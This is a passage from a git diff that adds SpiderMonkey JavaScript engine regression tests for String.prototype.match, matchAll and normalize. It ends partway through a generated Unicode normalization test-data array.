+ return 42;
+ }
+};
+assertEq("abcAbcABC".match(myRegExp), 42);
+assertEq(called, 1);
+
+var origMatch = RegExp.prototype[Symbol.match];
+
+called = 0;
+RegExp.prototype[Symbol.match] = function(S) {
+ assertEq(S, "abcAbcABC");
+ called++;
+ return 43;
+};
+assertEq("abcAbcABC".match("abc"), 43);
+assertEq(called, 1);
+
+RegExp.prototype[Symbol.match] = origMatch;
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/String/matchAll.js b/js/src/tests/non262/String/matchAll.js
new file mode 100644
index 0000000000..2752d8b688
--- /dev/null
+++ b/js/src/tests/non262/String/matchAll.js
@@ -0,0 +1,288 @@
+// Basic surface tests.
+
+assertEq(typeof String.prototype.matchAll, "function");
+assertEq(String.prototype.matchAll.name, "matchAll");
+assertEq(String.prototype.matchAll.length, 1);
+
+assertEq(typeof Symbol.matchAll, "symbol");
+
+assertEq(typeof RegExp.prototype[Symbol.matchAll], "function");
+assertEq(RegExp.prototype[Symbol.matchAll].name, "[Symbol.matchAll]");
+assertEq(RegExp.prototype[Symbol.matchAll].length, 1);
+
+const IteratorPrototype = Object.getPrototypeOf(Object.getPrototypeOf([][Symbol.iterator]()));
+const RegExpStringIteratorPrototype = Object.getPrototypeOf("".matchAll(""));
+
+assertEq(Object.getPrototypeOf(RegExpStringIteratorPrototype), IteratorPrototype);
+
+assertEq(typeof RegExpStringIteratorPrototype.next, "function");
+assertEq(RegExpStringIteratorPrototype.next.name, "next");
+assertEq(RegExpStringIteratorPrototype.next.length, 0);
+
+assertEq(RegExpStringIteratorPrototype[Symbol.toStringTag], "RegExp String Iterator");
+
+
+// Basic functional tests.
+
+const RegExp_prototype_exec = RegExp.prototype.exec;
+const RegExp_prototype_match = RegExp.prototype[Symbol.match];
+
+function assertEqIterMatchResult(actual, expected) {
+ assertEq(actual.done, expected.done);
+ if (actual.value === undefined || expected.value === undefined) {
+ assertEq(actual.value, expected.value);
+ } else {
+ assertEqArray(actual.value, expected.value);
+ assertEq(actual.value.input, expected.value.input);
+ assertEq(actual.value.index, expected.value.index);
+ }
+}
+
+function assertEqMatchResults(actual, expected) {
+ var actualIter = actual[Symbol.iterator]();
+ var expectedIter = expected[Symbol.iterator]();
+ while (true) {
+ var actualResult = actualIter.next();
+ var expectedResult = expectedIter.next();
+ assertEqIterMatchResult(actualResult, expectedResult);
+ if (actualResult.done && expectedResult.done)
+ return;
+ }
+}
+
+function* matchResults(string, regexp, lastIndex = 0) {
+ regexp.lastIndex = lastIndex;
+ while (true) {
+ var match = Reflect.apply(RegExp_prototype_exec, regexp, [string]);
+ if (match === null)
+ return;
+ yield match;
+ if (!regexp.global)
+ return;
+ }
+}
+
+assertEqMatchResults(/a/[Symbol.matchAll]("ababcca"), matchResults("ababcca", /a/));
+assertEqMatchResults("ababcca".matchAll(/a/g), matchResults("ababcca", /a/g));
+assertEqMatchResults("ababcca".matchAll("a"), matchResults("ababcca", /a/g));
+
+
+// Cross-compartment tests.
+
+{
+ let otherGlobal = newGlobal();
+
+ let iterator = otherGlobal.eval(`"ababcca".matchAll(/a/g)`);
+ let expected = matchResults("ababcca", /a/g);
+
+ assertEqIterMatchResult(RegExpStringIteratorPrototype.next.call(iterator),
+ expected.next());
+}
+
+
+// Optimization tests.
+//
+// The optimized path for MatchAllIterator reuses the input RegExp to avoid
+// extra RegExp allocations. To make this optimization undetectable from
+// user code, we need to ensure that:
+// 1. Modifications to the input RegExp through RegExp.prototype.compile are
+// detected and properly handled (= ignored).
+// 2. The RegExpStringIterator doesn't modify the input RegExp, for example
+// by updating the lastIndex property.
+// 3. Guards against modifications of built-in RegExp.prototype are installed.
+
+// Recompile RegExp (source) before first match.
+{
+ let regexp = /a+/g;
+ let iterator = "aabb".matchAll(regexp);
+
+ regexp.compile("b+", "g");
+ assertEqMatchResults(iterator, matchResults("aabb", /a+/g));
+}
+
+// Recompile RegExp (flags) before first match.
+{
+ let regexp = /a+/gi;
+ let iterator = "aAbb".matchAll(regexp);
+
+ regexp.compile("a+", "");
+ assertEqMatchResults(iterator, matchResults("aAbb", /a+/gi));
+}
+
+// Recompile RegExp (source) after first match.
+{
+ let regexp = /a+/g;
+ let iterator = "aabbaa".matchAll(regexp);
+ let expected = matchResults("aabbaa", /a+/g);
+
+ assertEqIterMatchResult(iterator.next(), expected.next());
+ regexp.compile("b+", "g");
+ assertEqIterMatchResult(iterator.next(), expected.next());
+}
+
+// Recompile RegExp (flags) after first match.
+{
+ let regexp = /a+/g;
+ let iterator = "aabbAA".matchAll(regexp);
+ let expected = matchResults("aabbAA", /a+/g);
+
+ assertEqIterMatchResult(iterator.next(), expected.next());
+ regexp.compile("a+", "i");
+ assertEqIterMatchResult(iterator.next(), expected.next());
+}
+
+// lastIndex property of input RegExp not modified when optimized path used.
+{
+ let regexp = /a+/g;
+ regexp.lastIndex = 1;
+ let iterator = "aabbaa".matchAll(regexp);
+ let expected = matchResults("aabbaa", /a+/g, 1);
+
+ assertEq(regexp.lastIndex, 1);
+ assertEqIterMatchResult(iterator.next(), expected.next());
+ assertEq(regexp.lastIndex, 1);
+ assertEqIterMatchResult(iterator.next(), expected.next());
+ assertEq(regexp.lastIndex, 1);
+}
+
+// Modifications to lastIndex property of input RegExp ignored when optimized path used.
+{
+ let regexp = /a+/g;
+ let iterator = "aabbaa".matchAll(regexp);
+ regexp.lastIndex = 1;
+ let expected = matchResults("aabbaa", /a+/g);
+
+ assertEq(regexp.lastIndex, 1);
+ assertEqIterMatchResult(iterator.next(), expected.next());
+ assertEq(regexp.lastIndex, 1);
+ assertEqIterMatchResult(iterator.next(), expected.next());
+ assertEq(regexp.lastIndex, 1);
+}
+
+// RegExp.prototype[Symbol.match] is modified to a getter, ensure this getter
+// is called exactly twice.
+try {
+ let regexp = /a+/g;
+
+ let callCount = 0;
+ Object.defineProperty(RegExp.prototype, Symbol.match, {
+ get() {
+ assertEq(this, regexp);
+ callCount++;
+ return RegExp_prototype_match;
+ }
+ });
+ let iterator = "aabbaa".matchAll(regexp);
+ assertEq(callCount, 2);
+} finally {
+ // Restore optimizable RegExp.prototype shape.
+ Object.defineProperty(RegExp.prototype, Symbol.match, {
+ value: RegExp_prototype_match,
+ writable: true, enumerable: false, configurable: true
+ });
+}
+
+// RegExp.prototype.exec is changed to a getter.
+try {
+ let regexp = /a+/g;
+ let iterator = "aabbaa".matchAll(regexp);
+ let lastIndices = [0, 2, 6][Symbol.iterator]();
+
+ let iteratorRegExp = null;
+ let callCount = 0;
+ Object.defineProperty(RegExp.prototype, "exec", {
+ get() {
+ callCount++;
+
+ if (iteratorRegExp === null)
+ iteratorRegExp = this;
+
+ assertEq(this === regexp, false);
+ assertEq(this, iteratorRegExp);
+ assertEq(this.source, regexp.source);
+ assertEq(this.flags, regexp.flags);
+ assertEq(this.lastIndex, lastIndices.next().value);
+ return RegExp_prototype_exec;
+ }
+ });
+
+ assertEqMatchResults(iterator, matchResults("aabbaa", /a+/g));
+ assertEq(callCount, 3);
+} finally {
+ // Restore optimizable RegExp.prototype shape.
+ Object.defineProperty(RegExp.prototype, "exec", {
+ value: RegExp_prototype_exec,
+ writable: true, enumerable: false, configurable: true
+ });
+}
+
+// RegExp.prototype.exec is changed to a value property.
+try {
+ let regexp = /a+/g;
+ let iterator = "aabbaa".matchAll(regexp);
+ let lastIndices = [0, 2, 6][Symbol.iterator]();
+
+ let iteratorRegExp = null;
+ let callCount = 0;
+ RegExp.prototype.exec = function(...args) {
+ callCount++;
+
+ if (iteratorRegExp === null)
+ iteratorRegExp = this;
+
+ assertEq(this === regexp, false);
+ assertEq(this, iteratorRegExp);
+ assertEq(this.source, regexp.source);
+ assertEq(this.flags, regexp.flags);
+ assertEq(this.lastIndex, lastIndices.next().value);
+ return Reflect.apply(RegExp_prototype_exec, this, args);
+ };
+
+ assertEqMatchResults(iterator, matchResults("aabbaa", /a+/g));
+ assertEq(callCount, 3);
+} finally {
+ // Restore optimizable RegExp.prototype shape.
+ Object.defineProperty(RegExp.prototype, "exec", {
+ value: RegExp_prototype_exec,
+ writable: true, enumerable: false, configurable: true
+ });
+}
+
+// Initial 'lastIndex' is zero if the RegExp is neither global nor sticky (1).
+{
+ let regexp = /a+/;
+ regexp.lastIndex = 2;
+
+ let iterator = regexp[Symbol.matchAll]("aaaaa");
+ assertEqMatchResults(iterator, matchResults("aaaaa", /a+/g, 0));
+}
+
+// Initial 'lastIndex' is zero if the RegExp is neither global nor sticky (2).
+{
+ let regexp = /a+/g;
+ regexp.lastIndex = 2;
+
+ let iterator = regexp[Symbol.matchAll]("aaaaa");
+ assertEqMatchResults(iterator, matchResults("aaaaa", /a+/g, 2));
+}
+
+// Initial 'lastIndex' is zero if the RegExp is neither global nor sticky (3).
+{
+ let regexp = /a+/y;
+ regexp.lastIndex = 2;
+
+ let iterator = regexp[Symbol.matchAll]("aaaaa");
+ assertEqMatchResults(iterator, matchResults("aaaaa", /a+/g, 2));
+}
+
+//Initial 'lastIndex' is zero if the RegExp is neither global nor sticky (4).
+{
+ let regexp = /a+/gy;
+ regexp.lastIndex = 2;
+
+ let iterator = regexp[Symbol.matchAll]("aaaaa");
+ assertEqMatchResults(iterator, matchResults("aaaaa", /a+/g, 2));
+}
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/String/normalize-form-non-atom.js b/js/src/tests/non262/String/normalize-form-non-atom.js
new file mode 100644
index 0000000000..ee6e12c37f
--- /dev/null
+++ b/js/src/tests/non262/String/normalize-form-non-atom.js
@@ -0,0 +1,18 @@
+var BUGNUMBER = 1145326;
+var summary = 'String.prototype.normalize error when normalization form parameter is not an atom';
+
+print(BUGNUMBER + ": " + summary);
+
+function test() {
+ assertEq("abc".normalize("NFKC".split("").join("")), "abc");
+ assertEq("abc".normalize("NFKCabc".replace("abc", "")), "abc");
+ assertEq("abc".normalize("N" + "F" + "K" + "C"), "abc");
+}
+
+if ("normalize" in String.prototype) {
+ // String.prototype.normalize is not enabled in all builds.
+ test();
+}
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/String/normalize-generateddata-input.js b/js/src/tests/non262/String/normalize-generateddata-input.js
new file mode 100644
index 0000000000..67814393d3
--- /dev/null
+++ b/js/src/tests/non262/String/normalize-generateddata-input.js
@@ -0,0 +1,19087 @@
+/* created from NormalizationTest-15.0.0.txt */
+/* Part0 # Specific cases */
+var tests_part0 = [
+{ source: [0x1E0A], NFC: [0x1E0A], NFD: [0x0044, 0x0307], NFKC: [0x1E0A], NFKD: [0x0044, 0x0307] },
+{ source: [0x1E0C], NFC: [0x1E0C], NFD: [0x0044, 0x0323], NFKC: [0x1E0C], NFKD: [0x0044, 0x0323] },
+{ source: [0x1E0A, 0x0323], NFC: [0x1E0C, 0x0307], NFD: [0x0044, 0x0323, 0x0307], NFKC: [0x1E0C, 0x0307], NFKD: [0x0044, 0x0323, 0x0307] },
+{ source: [0x1E0C, 0x0307], NFC: [0x1E0C, 0x0307], NFD: [0x0044, 0x0323, 0x0307], NFKC: [0x1E0C, 0x0307], NFKD: [0x0044, 0x0323, 0x0307] },
+{ source: [0x0044, 0x0307, 0x0323], NFC: [0x1E0C, 0x0307], NFD: [0x0044, 0x0323, 0x0307], NFKC: [0x1E0C, 0x0307], NFKD: [0x0044, 0x0323, 0x0307] },
+{ source: [0x0044, 0x0323, 0x0307], NFC: [0x1E0C, 0x0307], NFD: [0x0044, 0x0323, 0x0307], NFKC: [0x1E0C, 0x0307], NFKD: [0x0044, 0x0323, 0x0307] },
+{ source: [0x1E0A, 0x031B], NFC: [0x1E0A, 0x031B], NFD: [0x0044, 0x031B, 0x0307], NFKC: [0x1E0A, 0x031B], NFKD: [0x0044, 0x031B, 0x0307] },
+{ source: [0x1E0C, 0x031B], NFC: [0x1E0C, 0x031B], NFD: [0x0044, 0x031B, 0x0323], NFKC: [0x1E0C, 0x031B], NFKD: [0x0044, 0x031B, 0x0323] },
+{ source: [0x1E0A, 0x031B, 0x0323], NFC: [0x1E0C, 0x031B, 0x0307], NFD: [0x0044, 0x031B, 0x0323, 0x0307], NFKC: [0x1E0C, 0x031B, 0x0307], NFKD: [0x0044, 0x031B, 0x0323, 0x0307] },
+{ source: [0x1E0C, 0x031B, 0x0307], NFC: [0x1E0C, 0x031B, 0x0307], NFD: [0x0044, 0x031B, 0x0323, 0x0307], NFKC: [0x1E0C, 0x031B, 0x0307], NFKD: [0x0044, 0x031B, 0x0323, 0x0307] },
+{ source: [0x0044, 0x031B, 0x0307, 0x0323], NFC: [0x1E0C, 0x031B, 0x0307], NFD: [0x0044, 0x031B, 0x0323, 0x0307], NFKC: [0x1E0C, 0x031B, 0x0307], NFKD: [0x0044, 0x031B, 0x0323, 0x0307] },
+{ source: [0x0044, 0x031B, 0x0323, 0x0307], NFC: [0x1E0C, 0x031B, 0x0307], NFD: [0x0044, 0x031B, 0x0323, 0x0307], NFKC: [0x1E0C, 0x031B, 0x0307], NFKD: [0x0044, 0x031B, 0x0323, 0x0307] },
+{ source: [0x00C8], NFC: [0x00C8], NFD: [0x0045, 0x0300], NFKC: [0x00C8], NFKD: [0x0045, 0x0300] },
+{ source: [0x0112], NFC: [0x0112], NFD: [0x0045, 0x0304], NFKC: [0x0112], NFKD: [0x0045, 0x0304] },
+{ source: [0x0045, 0x0300], NFC: [0x00C8], NFD: [0x0045, 0x0300], NFKC: [0x00C8], NFKD: [0x0045, 0x0300] },
+{ source: [0x0045, 0x0304], NFC: [0x0112], NFD: [0x0045, 0x0304], NFKC: [0x0112], NFKD: [0x0045, 0x0304] },
+{ source: [0x1E14], NFC: [0x1E14], NFD: [0x0045, 0x0304, 0x0300], NFKC: [0x1E14], NFKD: [0x0045, 0x0304, 0x0300] },
+{ source: [0x0112, 0x0300], NFC: [0x1E14], NFD: [0x0045, 0x0304, 0x0300], NFKC: [0x1E14], NFKD: [0x0045, 0x0304, 0x0300] },
+{ source: [0x1E14, 0x0304], NFC: [0x1E14, 0x0304], NFD: [0x0045, 0x0304, 0x0300, 0x0304], NFKC: [0x1E14, 0x0304], NFKD: [0x0045, 0x0304, 0x0300, 0x0304] },
+{ source: [0x0045, 0x0304, 0x0300], NFC: [0x1E14], NFD: [0x0045, 0x0304, 0x0300], NFKC: [0x1E14], NFKD: [0x0045, 0x0304, 0x0300] },
+{ source: [0x0045, 0x0300, 0x0304], NFC: [0x00C8, 0x0304], NFD: [0x0045, 0x0300, 0x0304], NFKC: [0x00C8, 0x0304], NFKD: [0x0045, 0x0300, 0x0304] },
+{ source: [0x05B8, 0x05B9, 0x05B1, 0x0591, 0x05C3, 0x05B0, 0x05AC, 0x059F], NFC: [0x05B1, 0x05B8, 0x05B9, 0x0591, 0x05C3, 0x05B0, 0x05AC, 0x059F], NFD: [0x05B1, 0x05B8, 0x05B9, 0x0591, 0x05C3, 0x05B0, 0x05AC, 0x059F], NFKC: [0x05B1, 0x05B8, 0x05B9, 0x0591, 0x05C3, 0x05B0, 0x05AC, 0x059F], NFKD: [0x05B1, 0x05B8, 0x05B9, 0x0591, 0x05C3, 0x05B0, 0x05AC, 0x059F] },
+{ source: [0x0592, 0x05B7, 0x05BC, 0x05A5, 0x05B0, 0x05C0, 0x05C4, 0x05AD], NFC: [0x05B0, 0x05B7, 0x05BC, 0x05A5, 0x0592, 0x05C0, 0x05AD, 0x05C4], NFD: [0x05B0, 0x05B7, 0x05BC, 0x05A5, 0x0592, 0x05C0, 0x05AD, 0x05C4], NFKC: [0x05B0, 0x05B7, 0x05BC, 0x05A5, 0x0592, 0x05C0, 0x05AD, 0x05C4], NFKD: [0x05B0, 0x05B7, 0x05BC, 0x05A5, 0x0592, 0x05C0, 0x05AD, 0x05C4] },
+{ source: [0x1100, 0xAC00, 0x11A8], NFC: [0x1100, 0xAC01], NFD: [0x1100, 0x1100, 0x1161, 0x11A8], NFKC: [0x1100, 0xAC01], NFKD: [0x1100, 0x1100, 0x1161, 0x11A8] },
+{ source: [0x1100, 0xAC00, 0x11A8, 0x11A8], NFC: [0x1100, 0xAC01, 0x11A8], NFD: [0x1100, 0x1100, 0x1161, 0x11A8, 0x11A8], NFKC: [0x1100, 0xAC01, 0x11A8], NFKD: [0x1100, 0x1100, 0x1161, 0x11A8, 0x11A8] }
+];
+/* Part1 # Character by character test */
+var tests_part1 = [
+{ source: [0x00A0], NFC: [0x00A0], NFD: [0x00A0], NFKC: [0x0020], NFKD: [0x0020] },
+{ source: [0x00A8], NFC: [0x00A8], NFD: [0x00A8], NFKC: [0x0020, 0x0308], NFKD: [0x0020, 0x0308] },
+{ source: [0x00AA], NFC: [0x00AA], NFD: [0x00AA], NFKC: [0x0061], NFKD: [0x0061] },
+{ source: [0x00AF], NFC: [0x00AF], NFD: [0x00AF], NFKC: [0x0020, 0x0304], NFKD: [0x0020, 0x0304] },
+{ source: [0x00B2], NFC: [0x00B2], NFD: [0x00B2], NFKC: [0x0032], NFKD: [0x0032] },
+{ source: [0x00B3], NFC: [0x00B3], NFD: [0x00B3], NFKC: [0x0033], NFKD: [0x0033] },
+{ source: [0x00B4], NFC: [0x00B4], NFD: [0x00B4], NFKC: [0x0020, 0x0301], NFKD: [0x0020, 0x0301] },
+{ source: [0x00B5], NFC: [0x00B5], NFD: [0x00B5], NFKC: [0x03BC], NFKD: [0x03BC] },
+{ source: [0x00B8], NFC: [0x00B8], NFD: [0x00B8], NFKC: [0x0020, 0x0327], NFKD: [0x0020, 0x0327] },
+{ source: [0x00B9], NFC: [0x00B9], NFD: [0x00B9], NFKC: [0x0031], NFKD: [0x0031] },
+{ source: [0x00BA], NFC: [0x00BA], NFD: [0x00BA], NFKC: [0x006F], NFKD: [0x006F] },
+{ source: [0x00BC], NFC: [0x00BC], NFD: [0x00BC], NFKC: [0x0031, 0x2044, 0x0034], NFKD: [0x0031, 0x2044, 0x0034] },
+{ source: [0x00BD], NFC: [0x00BD], NFD: [0x00BD], NFKC: [0x0031, 0x2044, 0x0032], NFKD: [0x0031, 0x2044, 0x0032] },
+{ source: [0x00BE], NFC: [0x00BE], NFD: [0x00BE], NFKC: [0x0033, 0x2044, 0x0034], NFKD: [0x0033, 0x2044, 0x0034] },
+{ source: [0x00C0], NFC: [0x00C0], NFD: [0x0041, 0x0300], NFKC: [0x00C0], NFKD: [0x0041, 0x0300] },
+{ source: [0x00C1], NFC: [0x00C1], NFD: [0x0041, 0x0301], NFKC: [0x00C1], NFKD: [0x0041, 0x0301] },
+{ source: [0x00C2], NFC: [0x00C2], NFD: [0x0041, 0x0302], NFKC: [0x00C2], NFKD: [0x0041, 0x0302] },
+{ source: [0x00C3], NFC: [0x00C3], NFD: [0x0041, 0x0303], NFKC: [0x00C3], NFKD: [0x0041, 0x0303] },
+{ source: [0x00C4], NFC: [0x00C4], NFD: [0x0041, 0x0308], NFKC: [0x00C4], NFKD: [0x0041, 0x0308] },
+{ source: [0x00C5], NFC: [0x00C5], NFD: [0x0041, 0x030A], NFKC: [0x00C5], NFKD: [0x0041, 0x030A] },
+{ source: [0x00C7], NFC: [0x00C7], NFD: [0x0043, 0x0327], NFKC: [0x00C7], NFKD: [0x0043, 0x0327] },
+{ source: [0x00C8], NFC: [0x00C8], NFD: [0x0045, 0x0300], NFKC: [0x00C8], NFKD: [0x0045, 0x0300] },
+{ source: [0x00C9], NFC: [0x00C9], NFD: [0x0045, 0x0301], NFKC: [0x00C9], NFKD: [0x0045, 0x0301] },
+{ source: [0x00CA], NFC: [0x00CA], NFD: [0x0045, 0x0302], NFKC: [0x00CA], NFKD: [0x0045, 0x0302] },
+{ source: [0x00CB], NFC: [0x00CB], NFD: [0x0045, 0x0308], NFKC: [0x00CB], NFKD: [0x0045, 0x0308] },
+{ source: [0x00CC], NFC: [0x00CC], NFD: [0x0049, 0x0300], NFKC: [0x00CC], NFKD: [0x0049, 0x0300] },
+{ source: [0x00CD], NFC: [0x00CD], NFD: [0x0049, 0x0301], NFKC: [0x00CD], NFKD: [0x0049, 0x0301] },
+{ source: [0x00CE], NFC: [0x00CE], NFD: [0x0049, 0x0302], NFKC: [0x00CE], NFKD: [0x0049, 0x0302] },
+{ source: [0x00CF], NFC: [0x00CF], NFD: [0x0049, 0x0308], NFKC: [0x00CF], NFKD: [0x0049, 0x0308] },
+{ source: [0x00D1], NFC: [0x00D1], NFD: [0x004E, 0x0303], NFKC: [0x00D1], NFKD: [0x004E, 0x0303] },
+{ source: [0x00D2], NFC: [0x00D2], NFD: [0x004F, 0x0300], NFKC: [0x00D2], NFKD: [0x004F, 0x0300] },
+{ source: [0x00D3], NFC: [0x00D3], NFD: [0x004F, 0x0301], NFKC: [0x00D3], NFKD: [0x004F, 0x0301] },
+{ source: [0x00D4], NFC: [0x00D4], NFD: [0x004F, 0x0302], NFKC: [0x00D4], NFKD: [0x004F, 0x0302] },
+{ source: [0x00D5], NFC: [0x00D5], NFD: [0x004F, 0x0303], NFKC: [0x00D5], NFKD: [0x004F, 0x0303] },
+{ source: [0x00D6], NFC: [0x00D6], NFD: [0x004F, 0x0308], NFKC: [0x00D6], NFKD: [0x004F, 0x0308] },
+{ source: [0x00D9], NFC: [0x00D9], NFD: [0x0055, 0x0300], NFKC: [0x00D9], NFKD: [0x0055, 0x0300] },
+{ source: [0x00DA], NFC: [0x00DA], NFD: [0x0055, 0x0301], NFKC: [0x00DA], NFKD: [0x0055, 0x0301] },
+{ source: [0x00DB], NFC: [0x00DB], NFD: [0x0055, 0x0302], NFKC: [0x00DB], NFKD: [0x0055, 0x0302] },
+{ source: [0x00DC], NFC: [0x00DC], NFD: [0x0055, 0x0308], NFKC: [0x00DC], NFKD: [0x0055, 0x0308] },
+{ source: [0x00DD], NFC: [0x00DD], NFD: [0x0059, 0x0301], NFKC: [0x00DD], NFKD: [0x0059, 0x0301] },
+{ source: [0x00E0], NFC: [0x00E0], NFD: [0x0061, 0x0300], NFKC: [0x00E0], NFKD: [0x0061, 0x0300] },
+{ source: [0x00E1], NFC: [0x00E1], NFD: [0x0061, 0x0301], NFKC: [0x00E1], NFKD: [0x0061, 0x0301] },
+{ source: [0x00E2], NFC: [0x00E2], NFD: [0x0061, 0x0302], NFKC: [0x00E2], NFKD: [0x0061, 0x0302] },
+{ source: [0x00E3], NFC: [0x00E3], NFD: [0x0061, 0x0303], NFKC: [0x00E3], NFKD: [0x0061, 0x0303] },
+{ source: [0x00E4], NFC: [0x00E4], NFD: [0x0061, 0x0308], NFKC: [0x00E4], NFKD: [0x0061, 0x0308] },
+{ source: [0x00E5], NFC: [0x00E5], NFD: [0x0061, 0x030A], NFKC: [0x00E5], NFKD: [0x0061, 0x030A] },
+{ source: [0x00E7], NFC: [0x00E7], NFD: [0x0063, 0x0327], NFKC: [0x00E7], NFKD: [0x0063, 0x0327] },
+{ source: [0x00E8], NFC: [0x00E8], NFD: [0x0065, 0x0300], NFKC: [0x00E8], NFKD: [0x0065, 0x0300] },
+{ source: [0x00E9], NFC: [0x00E9], NFD: [0x0065, 0x0301], NFKC: [0x00E9], NFKD: [0x0065, 0x0301] },
+{ source: [0x00EA], NFC: [0x00EA], NFD: [0x0065, 0x0302], NFKC: [0x00EA], NFKD: [0x0065, 0x0302] },
+{ source: [0x00EB], NFC: [0x00EB], NFD: [0x0065, 0x0308], NFKC: [0x00EB], NFKD: [0x0065, 0x0308] },
+{ source: [0x00EC], NFC: [0x00EC], NFD: [0x0069, 0x0300], NFKC: [0x00EC], NFKD: [0x0069, 0x0300] },
+{ source: [0x00ED], NFC: [0x00ED], NFD: [0x0069, 0x0301], NFKC: [0x00ED], NFKD: [0x0069, 0x0301] },
+{ source: [0x00EE], NFC: [0x00EE], NFD: [0x0069, 0x0302], NFKC: [0x00EE], NFKD: [0x0069, 0x0302] },
+{ source: [0x00EF], NFC: [0x00EF], NFD: [0x0069, 0x0308], NFKC: [0x00EF], NFKD: [0x0069, 0x0308] },
+{ source: [0x00F1], NFC: [0x00F1], NFD: [0x006E, 0x0303], NFKC: [0x00F1], NFKD: [0x006E, 0x0303] },
+{ source: [0x00F2], NFC: [0x00F2], NFD: [0x006F, 0x0300], NFKC: [0x00F2], NFKD: [0x006F, 0x0300] },
+{ source: [0x00F3], NFC: [0x00F3], NFD: [0x006F, 0x0301], NFKC: [0x00F3], NFKD: [0x006F, 0x0301] },
+{ source: [0x00F4], NFC: [0x00F4], NFD: [0x006F, 0x0302], NFKC: [0x00F4], NFKD: [0x006F, 0x0302] },
+{ source: [0x00F5], NFC: [0x00F5], NFD: [0x006F, 0x0303], NFKC: [0x00F5], NFKD: [0x006F, 0x0303] },
+{ source: [0x00F6], NFC: [0x00F6], NFD: [0x006F, 0x0308], NFKC: [0x00F6], NFKD: [0x006F, 0x0308] },
+{ source: [0x00F9], NFC: [0x00F9], NFD: [0x0075, 0x0300], NFKC: [0x00F9], NFKD: [0x0075, 0x0300] },
+{ source: [0x00FA], NFC: [0x00FA], NFD: [0x0075, 0x0301], NFKC: [0x00FA], NFKD: [0x0075, 0x0301] },
+{ source: [0x00FB], NFC: [0x00FB], NFD: [0x0075, 0x0302], NFKC: [0x00FB], NFKD: [0x0075, 0x0302] },
+{ source: [0x00FC], NFC: [0x00FC], NFD: [0x0075, 0x0308], NFKC: [0x00FC], NFKD: [0x0075, 0x0308] },
+{ source: [0x00FD], NFC: [0x00FD], NFD: [0x0079, 0x0301], NFKC: [0x00FD], NFKD: [0x0079, 0x0301] },
+{ source: [0x00FF], NFC: [0x00FF], NFD: [0x0079, 0x0308], NFKC: [0x00FF], NFKD: [0x0079, 0x0308] },
+{ source: [0x0100], NFC: [0x0100], NFD: [0x0041, 0x0304], NFKC: [0x0100], NFKD: [0x0041, 0x0304] },
+{ source: [0x0101], NFC: [0x0101], NFD: [0x0061, 0x0304], NFKC: [0x0101], NFKD: [0x0061, 0x0304] },
+{ source: [0x0102], NFC: [0x0102], NFD: [0x0041, 0x0306], NFKC: [0x0102], NFKD: [0x0041, 0x0306] },
+{ source: [0x0103], NFC: [0x0103], NFD: [0x0061, 0x0306], NFKC: [0x0103], NFKD: [0x0061, 0x0306] },
+{ source: [0x0104], NFC: [0x0104], NFD: [0x0041, 0x0328], NFKC: [0x0104], NFKD: [0x0041, 0x0328] },
+{ source: [0x0105], NFC: [0x0105], NFD: [0x0061, 0x0328], NFKC: [0x0105], NFKD: [0x0061, 0x0328] },
+{ source: [0x0106], NFC: [0x0106], NFD: [0x0043, 0x0301], NFKC: [0x0106], NFKD: [0x0043, 0x0301] },
+{ source: [0x0107], NFC: [0x0107], NFD: [0x0063, 0x0301], NFKC: [0x0107], NFKD: [0x0063, 0x0301] },
+{ source: [0x0108], NFC: [0x0108], NFD: [0x0043, 0x0302], NFKC: [0x0108], NFKD: [0x0043, 0x0302] },
+{ source: [0x0109], NFC: [0x0109], NFD: [0x0063, 0x0302], NFKC: [0x0109], NFKD: [0x0063, 0x0302] },
+{ source: [0x010A], NFC: [0x010A], NFD: [0x0043, 0x0307], NFKC: [0x010A], NFKD: [0x0043, 0x0307] },
+{ source: [0x010B], NFC: [0x010B], NFD: [0x0063, 0x0307], NFKC: [0x010B], NFKD: [0x0063, 0x0307] },
+{ source: [0x010C], NFC: [0x010C], NFD: [0x0043, 0x030C], NFKC: [0x010C], NFKD: [0x0043, 0x030C] },
+{ source: [0x010D], NFC: [0x010D], NFD: [0x0063, 0x030C], NFKC: [0x010D], NFKD: [0x0063, 0x030C] },
+{ source: [0x010E], NFC: [0x010E], NFD: [0x0044, 0x030C], NFKC: [0x010E], NFKD: [0x0044, 0x030C] },
+{ source: [0x010F], NFC: [0x010F], NFD: [0x0064, 0x030C], NFKC: [0x010F], NFKD: [0x0064, 0x030C] },
+{ source: [0x0112], NFC: [0x0112], NFD: [0x0045, 0x0304], NFKC: [0x0112], NFKD: [0x0045, 0x0304] },
+{ source: [0x0113], NFC: [0x0113], NFD: [0x0065, 0x0304], NFKC: [0x0113], NFKD: [0x0065, 0x0304] },
+{ source: [0x0114], NFC: [0x0114], NFD: [0x0045, 0x0306], NFKC: [0x0114], NFKD: [0x0045, 0x0306] },
+{ source: [0x0115], NFC: [0x0115], NFD: [0x0065, 0x0306], NFKC: [0x0115], NFKD: [0x0065, 0x0306] },
+{ source: [0x0116], NFC: [0x0116], NFD: [0x0045, 0x0307], NFKC: [0x0116], NFKD: [0x0045, 0x0307] },
+{ source: [0x0117], NFC: [0x0117], NFD: [0x0065, 0x0307], NFKC: [0x0117], NFKD: [0x0065, 0x0307] },
+{ source: [0x0118], NFC: [0x0118], NFD: [0x0045, 0x0328], NFKC: [0x0118], NFKD: [0x0045, 0x0328] },
+{ source: [0x0119], NFC: [0x0119], NFD: [0x0065, 0x0328], NFKC: [0x0119], NFKD: [0x0065, 0x0328] },
+{ source: [0x011A], NFC: [0x011A], NFD: [0x0045, 0x030C], NFKC: [0x011A], NFKD: [0x0045, 0x030C] },
+{ source: [0x011B], NFC: [0x011B], NFD: [0x0065, 0x030C], NFKC: [0x011B], NFKD: [0x0065, 0x030C] },
+{ source: [0x011C], NFC: [0x011C], NFD: [0x0047, 0x0302], NFKC: [0x011C], NFKD: [0x0047, 0x0302] },
+{ source: [0x011D], NFC: [0x011D], NFD: [0x0067, 0x0302], NFKC: [0x011D], NFKD: [0x0067, 0x0302] },
+{ source: [0x011E], NFC: [0x011E], NFD: [0x0047, 0x0306], NFKC: [0x011E], NFKD: [0x0047, 0x0306] },
+{ source: [0x011F], NFC: [0x011F], NFD: [0x0067, 0x0306], NFKC: [0x011F], NFKD: [0x0067, 0x0306] },
+{ source: [0x0120], NFC: [0x0120], NFD: [0x0047, 0x0307], NFKC: [0x0120], NFKD: [0x0047, 0x0307] },
